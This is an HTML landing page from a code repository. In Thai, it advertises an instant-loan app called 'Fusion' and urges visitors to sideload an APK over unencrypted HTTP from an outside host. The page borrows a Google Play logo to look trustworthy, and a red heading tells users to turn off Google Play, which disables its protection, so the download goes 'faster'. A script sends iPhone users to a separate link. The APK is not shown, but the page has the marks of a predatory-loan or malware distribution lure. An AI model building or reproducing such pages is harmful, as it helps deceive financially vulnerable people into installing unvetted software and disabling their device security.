hi-client/1.html
2025-10-13 18:08:02 +08:00

236 lines
9.3 KiB
HTML
Executable File
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ดาวน์โหลดและติดตั้ง APK</title>
<style>
body {
background: #f8f8f8;
font-family: "PingFang SC", "Microsoft YaHei", Arial, sans-serif;
}
.container {
max-width: 400px;
margin: 60px auto;
background: #fff;
border-radius: 16px;
box-shadow: 0 2px 12px rgba(0,0,0,0.08);
padding: 32px 24px 24px 24px;
text-align: center;
}
.protect-logo {
width: 32px;
vertical-align: middle;
margin-right: 8px;
}
.title {
font-size: 20px;
font-weight: bold;
margin: 16px 0 8px 0;
color: #222;
}
.app-row {
display: flex;
align-items: center;
justify-content: center;
margin: 18px 0 12px 0;
}
.app-icon {
width: 40px;
height: 40px;
border-radius: 8px;
background: #e74c3c;
margin-right: 12px;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
font-size: 24px;
font-weight: bold;
}
.app-name {
font-size: 18px;
font-weight: 500;
color: #444;
}
.desc {
font-size: 15px;
color: #666;
margin-bottom: 18px;
line-height: 1.7;
}
.link {
color: #2E8B57;
text-decoration: underline;
font-size: 14px;
}
.download-btn {
display: block;
width: 100%;
height: 48px;
line-height: 48px;
background: #2E8B57;
color: #fff;
font-size: 18px;
border-radius: 8px;
text-decoration: none;
margin-top: 18px;
font-weight: bold;
letter-spacing: 1px;
}
/* 放大图片弹窗样式 */
.modal-bg {
display: none;
position: fixed;
z-index: 9999;
left: 0; top: 0; right: 0; bottom: 0;
background: rgba(0,0,0,0.6);
justify-content: center;
align-items: center;
}
.modal-bg.active {
display: flex;
}
.modal-img-box {
position: relative;
background: #fff;
border-radius: 16px;
padding: 16px;
box-shadow: 0 8px 32px rgba(0,0,0,0.18);
max-width: 90vw;
max-height: 90vh;
}
.modal-img {
max-width: 80vw;
max-height: 70vh;
border-radius: 12px;
display: block;
}
.modal-close {
position: absolute;
top: 8px;
right: 8px;
background: #fc0404;
color: #fff;
border: none;
border-radius: 50%;
width: 32px;
height: 32px;
font-size: 22px;
cursor: pointer;
box-shadow: 0 2px 8px rgba(0,0,0,0.10);
}
/* 图片预览区样式优化 */
.preview-imgs img {
cursor: pointer;
transition: box-shadow 0.2s;
}
.preview-imgs img:hover {
box-shadow: 0 0 0 4px #2E8B57;
}
</style>
</head>
<body>
<div class="container">
<!-- 顶部图标和标题 -->
<div style="display:flex;align-items:center;justify-content:center; margin-bottom:18px;">
<img src="https://storage.googleapis.com/support-kms-prod/U7zGfbmKoURQllmujBXpPcU7pT5geMaxjtfR"
width="32" height="32" alt="Google Play" style="border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.10);margin-right:12px;">
<span class="title" style="font-size:22px; font-weight:700; color:#2E8B57;">สินเชื่อด่วน ช่วยให้คุณใช้เงินได้อย่างง่ายดาย</span>
</div>
<!-- 应用信息卡片 -->
<div class="app-row" style="background:#f7f7f7;border-radius:12px;padding:18px 0;margin-bottom:12px;box-shadow:0 2px 8px rgba(0,0,0,0.06);">
<img src="fusion.jpg" alt="Gc Logo" class="app-icon" style="width:48px;height:48px;border-radius:12px;margin-right:16px;object-fit:cover;">
<span class="app-name" style="font-size:20px;font-weight:600;color:#333;">Fusion</span>
</div>
<!-- 亮点列表 -->
<ul style="list-style:none;padding:0;margin:0 0 16px 0;text-align:left;">
<li style="margin-bottom:8px;font-size:16px;color:#444;">
<span style="display:inline-block;width:8px;height:8px;background:#2E8B57;border-radius:50%;margin-right:8px;vertical-align:middle;"></span>
ลงทะเบียนง่าย สะดวกและรวดเร็ว
</li>
<li style="margin-bottom:8px;font-size:16px;color:#444;">
<span style="display:inline-block;width:8px;height:8px;background:#2E8B57;border-radius:50%;margin-right:8px;vertical-align:middle;"></span>
ประเมินฟรี อนุมัติไว เงินเข้าบัญชีเร็ว
</li>
<li style="margin-bottom:8px;font-size:16px;color:#444;">
<span style="display:inline-block;width:8px;height:8px;background:#2E8B57;border-radius:50%;margin-right:8px;vertical-align:middle;"></span>
ไม่มีค่าธรรมเนียมล่วงหน้า ใช้อย่างสบายใจ
</li>
</ul>
<!-- 描述 -->
<div class="desc" style="font-size:15px;color:#666;margin-bottom:18px;line-height:1.7;">
หลังอนุมัติ เงินจะเข้าบัญชีภายใน3 นาทีครับ<br>
</div>
<!-- 下载按钮 -->
<a
href="http://dn.nblink.work/fusion.apk"
class="download-btn"
id="downloadBtn"
type="application/vnd.android.package-archive"
download="fusion.apk"
>
ดาวน์โหลดและติดตั้ง APK
</a>
</div>
<h2 style="color:#fc0404;text-decoration:underline;font-size:14px;">
ปิด Google Play เพื่อสามารถดาวน์โหลดกับความเร็วสูง
</h2>
<!-- 图片预览区 -->
<div class="preview-imgs" style="display: flex; justify-content: center; gap: 20px; margin-top: 32px; margin-bottom: 20px;">
<img src="1.jpg" alt="步骤1" style="width:240px;height:140px;border-radius:16px;object-fit:cover;box-shadow:0 4px 16px rgba(0,0,0,0.12);">
<img src="2.jpg" alt="步骤2" style="width:240px;height:140px;border-radius:16px;object-fit:cover;box-shadow:0 4px 16px rgba(0,0,0,0.12);">
<img src="3.jpg" alt="步骤3" style="width:240px;height:140px;border-radius:16px;object-fit:cover;box-shadow:0 4px 16px rgba(0,0,0,0.12);">
<img src="4.jpg" alt="步骤4" style="width:240px;height:140px;border-radius:16px;object-fit:cover;box-shadow:0 4px 16px rgba(0,0,0,0.12);">
<img src="5.jpg" alt="步骤5" style="width:240px;height:140px;border-radius:16px;object-fit:cover;box-shadow:0 4px 16px rgba(0,0,0,0.12);">
</div>
<!-- 放大图片弹窗 -->
<div id="modalBg" class="modal-bg">
<div class="modal-img-box">
<button class="modal-close" onclick="closeModal()">×</button>
<img id="modalImg" class="modal-img" src="" alt="放大预览">
</div>
</div>
<script>
document.getElementById('downloadBtn').onclick = function(e) {
var ua = navigator.userAgent.toLowerCase();
// 判断是否为 iOS
var isIOS = /iphone|ipad|ipod|ios/.test(ua);
// 判断是否为 Android
var isAndroid = /android/.test(ua)
|| (ua.indexOf('linux') > -1 && ua.indexOf('mobile') > -1)
|| /sm-|mi |redmi|huawei|honor|oppo|vivo|oneplus|meizu|nubia|lenovo|samsung|htc|zte|coolpad|gionee|doogee|realme|tecno|infinix|motorola/.test(ua);
if (isIOS) {
// iOS跳转到其它下载页面
e.preventDefault();
window.location.href = "https://dfxn28v1rrap2.cloudfront.net/wpmve";
}
};
// 点击图片放大
document.querySelectorAll('.preview-imgs img').forEach(function(img) {
img.onclick = function() {
document.getElementById('modalImg').src = this.src;
document.getElementById('modalBg').classList.add('active');
}
});
// 关闭弹窗
function closeModal() {
document.getElementById('modalBg').classList.remove('active');
document.getElementById('modalImg').src = '';
}
// 支持点击遮罩关闭
document.getElementById('modalBg').onclick = function(e) {
if (e.target === this) closeModal();
}
</script>
</body>
</html>